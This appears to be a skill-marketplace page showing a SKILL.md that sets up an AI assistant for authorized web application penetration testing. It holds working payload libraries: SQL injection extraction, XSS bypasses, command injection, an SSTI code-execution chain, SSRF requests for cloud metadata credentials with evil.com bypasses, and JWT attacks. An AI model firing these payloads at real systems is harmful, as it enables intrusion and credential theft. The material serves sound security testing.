Skip to main content

web-application-security-testing

OWASP Top 10 testing, injection vulnerability detection, API security assessment, authentication testing, and web vulnerability reporting for authorized assessments

ソース情報

リポジトリ
alicewe1/alice_skill
ソースの最終更新活動
2026年9月23日 19:28
検出された SKILL.md の言語
英語
スター
40
フォーク
6

インストール方法

デフォルトでは、最初にソースを確認する Prompt が選択されています。直接コマンドに切り替えるか、ローカルコピーをダウンロードすることもできます。

ソースファイルを確認

インストールを決める前に、SKILL.md と SkillsMP に表示されている付属ファイルをお読みください。

ファイルエクスプローラー
4 ファイル

SKILL.md を表示中

SKILL.md
ソースの指示 · 読み取り専用プレビュー
name
Web Application Security Testing
description
OWASP Top 10 testing, injection vulnerability detection, API security assessment, authentication testing, and web vulnerability reporting for authorized assessments
version
3.0.0
author
Masriyan
tags
["cybersecurity","web-security","owasp","xss","sqli","api","pentest","burpsuite","authentication"]
x-alice-class
pentest
## Activation Triggers This skill activates when the user asks about: - OWASP Top 10 testing or assessment methodology - SQL injection, XSS, SSRF, SSTI, command injection testing - API security testing (REST, GraphQL, SOAP) - Authentication bypass, session management flaws - Web application firewall (WAF) bypasses for authorized testing - CORS, CSP, or security header analysis - OAuth/OIDC security review - JWT analysis or manipulation - Burp Suite or OWASP ZAP usage guidance - Web vulnerability report writing --- ## Prerequisites ```bash pip install requests beautifulsoup4 urllib3 lxml ``` **Recommended tools:** - `Burp Suite Community/Pro` — Web proxy and scanner - `OWASP ZAP` — Open-source web scanner - `sqlmap` — Automated SQL injection (authorized use only) - `Nikto` — Web server scanner - `ffuf / feroxbuster` — Web fuzzer - `jwt_tool` — JWT analysis and manipulation --- ## Core Capabilities ### 1. OWASP Top 10 Assessment **When the user asks to assess for OWASP Top 10 vulnerabilities:** | # | Vulnerability | Claude's Assessment Approach | |---|--------------|------------------------------| | A01 | Broken Access Control | Test IDOR, path traversal, forced browsing, privilege escalation | | A02 | Cryptographic Failures | Audit TLS, check sensitive data exposure, weak algorithms | | A03 | Injection | Test all inputs for SQLi, NoSQLi, OS command, LDAP, SSTI | | A04 | Insecure Design | Review architecture for missing security controls | | A05 | Security Misconfiguration | Check defaults, error disclosure, directory listing, debug mode | | A06 | Vulnerable Components | Audit third-party libraries and framework versions | | A07 | Auth & ID Failures | Test session management, brute force, MFA, credential storage | | A08 | Software & Data Integrity | Check update mechanisms, deserialization, CI/CD security | | A09 | Logging & Monitoring Failures | Verify logging coverage and alerting | | A10 | SSRF | Test URL parameters, webhooks, import functionality | ### 2. Injection Testing **When the user asks to test for injection vulnerabilities:** **Input Discovery — Map all injection points:** ``` GET/POST parameters URL path segments (/users/INJECT/profile) HTTP headers (X-Forwarded-For, User-Agent, Referer, Cookie) JSON body fields {"name": "INJECT"} XML body fields <name>INJECT</name> GraphQL variables {query: "{ user(name: \"INJECT\") }"} File upload names and metadata ``` **SQL Injection Testing Methodology:** ``` Step 1: Detection — Test for error-based confirmation ' → SQL error = likely vulnerable ' OR '1'='1 → true condition ' OR '1'='2 → false condition ' AND SLEEP(5)-- - → time delay = blind SQLi Step 2: Fingerprint the database ' AND 1=CONVERT(int,@@version)-- - → MSSQL version ' AND 1=1 UNION SELECT @@version-- - → MySQL ' AND 1=(SELECT 1 FROM dual)-- - → Oracle Step 3: Extraction (authorized PoC only) ' UNION SELECT null,username,password,null FROM users-- - ``` **SQLi Payload Library:** ```sql -- Basic detection ' '' ` ') ')) ' OR '1'='1'-- ' OR 1=1-- " OR "1"="1 ' OR 'x'='x -- MySQL time-based blind ' AND SLEEP(5)-- - ' OR SLEEP(5)=0-- - -- MSSQL time-based blind '; WAITFOR DELAY '0:0:5'-- - -- PostgreSQL time-based blind '; SELECT pg_sleep(5)-- - -- Error-based (MySQL) ' AND extractvalue(1,concat(0x7e,(SELECT version())))-- - ' AND (SELECT 1 FROM(SELECT COUNT(*),CONCAT(0x7e,(SELECT version()),0x7e,FLOOR(RAND(0)*2))x FROM information_schema.tables GROUP BY x)a)-- - -- UNION enumeration ' ORDER BY 1-- - (increment until error to find column count) ' UNION SELECT null-- - ' UNION SELECT null,null-- - ' UNION SELECT null,null,null-- - ``` **XSS Testing Methodology:** ``` Step 1: Find reflection points Input: test123 → Search in source for "test123" What HTML context is it in? • HTML content: <p>test123</p> • Attribute: <input value="test123"> • JavaScript: var x = "test123"; • URL: href="test123" Step 2: Test basic payload for context HTML content: <script>alert(1)</script> Attribute: " onmouseover="alert(1) JavaScript: ";alert(1);// URL: javascript:alert(1) Step 3: Bypass filters Case variation: <ScRiPt>alert(1)</ScRiPt> No parentheses: <img src=x onerror=alert`1`> No script tag: <img src=x onerror=alert(document.domain)> SVG: <svg onload=alert(1)> Template: {{constructor.constructor('alert(1)')()}} ``` **Command Injection Testing:** ```bash # Linux injection separators ; id | id & id && id `id` $(id) %0aid # Windows injection separators & whoami | whoami ; dir %26 dir # Blind detection via time delay ; sleep 5 | timeout 5 & ping -n 5 127.0.0.1 # Blind detection via DNS callback (use Burp Collaborator or interactsh) ; nslookup YOUR-CALLBACK-DOMAIN.com ``` **SSRF Testing Methodology:** ``` Step 1: Find URL input points - Import functionality (import from URL) - Webhooks (send notification to URL) - Document converters (URL to PDF) - Image loading from URL - API calls with URL parameters Step 2: Test basic SSRF to internal resources http://127.0.0.1/ http://localhost/ http://192.168.1.1/ # Default gateway http://169.254.169.254/ # AWS metadata http://metadata.google.internal/ # GCP metadata http://[::1]/ # IPv6 localhost Step 3: Test cloud metadata services (AWS example) http://169.254.169.254/latest/meta-data/ http://169.254.169.254/latest/meta-data/iam/security-credentials/ Step 4: SSRF filter bypass techniques http://127.0.0.1@evil.com # URL confusion http://0177.0.0.1/ # Octal encoding http://2130706433/ # Decimal encoding http://[::1]/ # IPv6 http://localhost.evil.com/ # DNS rebinding ``` **SSTI Testing:** ``` # Universal detection probes {{7*7}} → 49 (Jinja2, Twig, Freemarker) ${7*7} → 49 (FreeMarker, Velocity, Mako) <%= 7*7 %> → 49 (ERB/Ruby) #{7*7} → 49 (Pug/Jade) # Jinja2 (Python Flask) — confirm RCE path {{config}} {{''.__class__.__mro__[1].__subclasses__()}} {{request.application.__globals__.__builtins__.__import__('os').popen('id').read()}} # Twig (PHP Symfony) {{_self.env.registerUndefinedFilterCallback("exec")}}{{_self.env.getFilter("id")}} ``` ### 3. API Security Testing **When the user asks to test API security:** **API Test Checklist:** ``` Authentication: [ ] Endpoints accessible without token? (missing auth) [ ] JWT validation: alg:none attack, weak secret, expired token accepted? [ ] API keys in URL parameters (logged in proxy logs) [ ] Basic auth over HTTP (not HTTPS) Authorization: [ ] BOLA — Change object ID to access other users' data GET /api/users/123/orders → try /api/users/124/orders [ ] Mass assignment — POST with extra privileged fields {"username":"user","role":"admin","isAdmin":true} [ ] Function-level access — access admin endpoints as regular user GET /api/admin/users (as non-admin) Input Validation: [ ] SQL injection in API parameters [ ] JSON injection in body [ ] Rate limiting — rapid requests cause DoS or bypass? [ ] Request body schema — what happens with extra/unexpected fields? Data Exposure: [ ] Response contains sensitive fields not needed by client? [ ] User A can see User B's PII? [ ] Error messages reveal internal structure? [ ] Debug endpoints exposed? /api/debug, /api/swagger, /api/docs ``` **GraphQL-specific tests:** ```graphql # Introspection — should be disabled in production { __schema { types { name fields { name } } } } # Batch query abuse [{"query":"{ user(id:1) { name } }"}, {"query":"{ user(id:2) { name } }"}, ...repeated 1000 times...] # Circular query DoS { user { friends { friends { friends { name } } } } } ``` **JWT Analysis:** ```bash # Decode JWT without verification jwt_tool JWT_TOKEN_HERE -d # Test alg:none attack jwt_tool JWT_TOKEN_HERE -X a # Test algorithm confusion (RS256 to HS256) jwt_tool JWT_TOKEN_HERE -X k -pk public.pem # Brute force weak secret jwt_tool JWT_TOKEN_HERE -C -d /usr/share/wordlists/rockyou.txt ``` ### 4. Authentication & Session Testing **When the user asks to test authentication:** **Session Token Analysis:** ``` Entropy check: [ ] Token length sufficient? (≥128 bits recommended) [ ] Token appears random? (not predictable, sequential, or time-based) [ ] Test: collect 10+ tokens, check for patterns Session management: [ ] Session invalidated on logout? (test by reusing old token) [ ] Session invalidated on password change? [ ] Concurrent session limits? (same user, multiple locations) [ ] Session fixation: set your own session ID before auth, does it persist? [ ] Secure and HttpOnly flags on session cookie? [ ] SameSite attribute set? (CSRF protection) Password security: [ ] Minimum complexity enforced? [ ] Account lockout after N failed attempts? [ ] Password exposed in HTTP response or logs? [ ] Forgot password link single-use and time-limited? [ ] Password reset token in URL? (appears in logs/referer) ``` **OAuth 2.0 Testing:** ``` [ ] State parameter present and validated? (CSRF in OAuth flow) [ ] Redirect URI strictly validated? (open redirect) [ ] Authorization code reusable? (should be single-use) [ ] PKCE implemented for public clients? [ ] Client secret exposed in JavaScript source? [ ] Scope validation — can client request broader scopes than expected? ``` ### 5. Security Headers Assessment **When the user asks to review security headers:** ```python # Check all security headers for a target import requests headers_to_check = { "Strict-Transport-Security": "Required; max-age>=31536000", "Content-Security-Policy": "Required; restrict sources", "X-Content-Type-Options": "nosniff", "X-Frame-Options": "DENY or SAMEORIGIN", "Referrer-Policy": "strict-origin-when-cross-origin", "Permissions-Policy": "Restrict sensitive features", "Cache-Control": "no-store for sensitive endpoints", } ``` **CORS Misconfiguration Tests:** ```python # Test 1: Arbitrary origin reflected requests.get(url, headers={"Origin": "https://evil.com"}) # Vulnerable if response contains: Access-Control-Allow-Origin: https://evil.com # Test 2: Null origin requests.get(url, headers={"Origin": "null"}) # Vulnerable if response contains: Access-Control-Allow-Origin: null # Test 3: Subdomain bypass requests.get(url, headers={"Origin": "https://evil.target.com"}) # Vulnerable if attacker can register evil.target.com or use XSS ``` --- ## Vulnerability Report Template ```markdown ## Web Security Finding: [Title] **ID:** WEB-[Number] **Severity:** [Critical / High / Medium / Low / Info] **CVSS v3.1:** [Score] | [Vector string] **CWE:** [CWE-ID — CWE Name] **OWASP:** [A0X — Category] ### Affected Endpoint **URL:** `https://target.com/api/endpoint` **Method:** POST **Parameter:** `id` ### Description [Clear description of the vulnerability and why it's a risk] ### Reproduction Steps 1. Navigate to `https://target.com/api/endpoint` 2. Send the following request: ``` POST /api/endpoint HTTP/1.1 Host: target.com Content-Type: application/json {"id": "1' OR '1'='1"} ``` 3. Observe the response contains [evidence of vulnerability] ### Impact [Business and technical impact — data exposure, account takeover, RCE, etc.] ### Evidence [Screenshot description, response snippet, or sanitized PoC output] ### Remediation [Specific fix with code example if applicable] ``` --- ## Script Reference ### `owasp_scanner.py` ```bash
GitHubで見る
この SKILL.md は非常に大きいため、SkillsMP では最初のセクションだけを表示しています。 GitHubで見る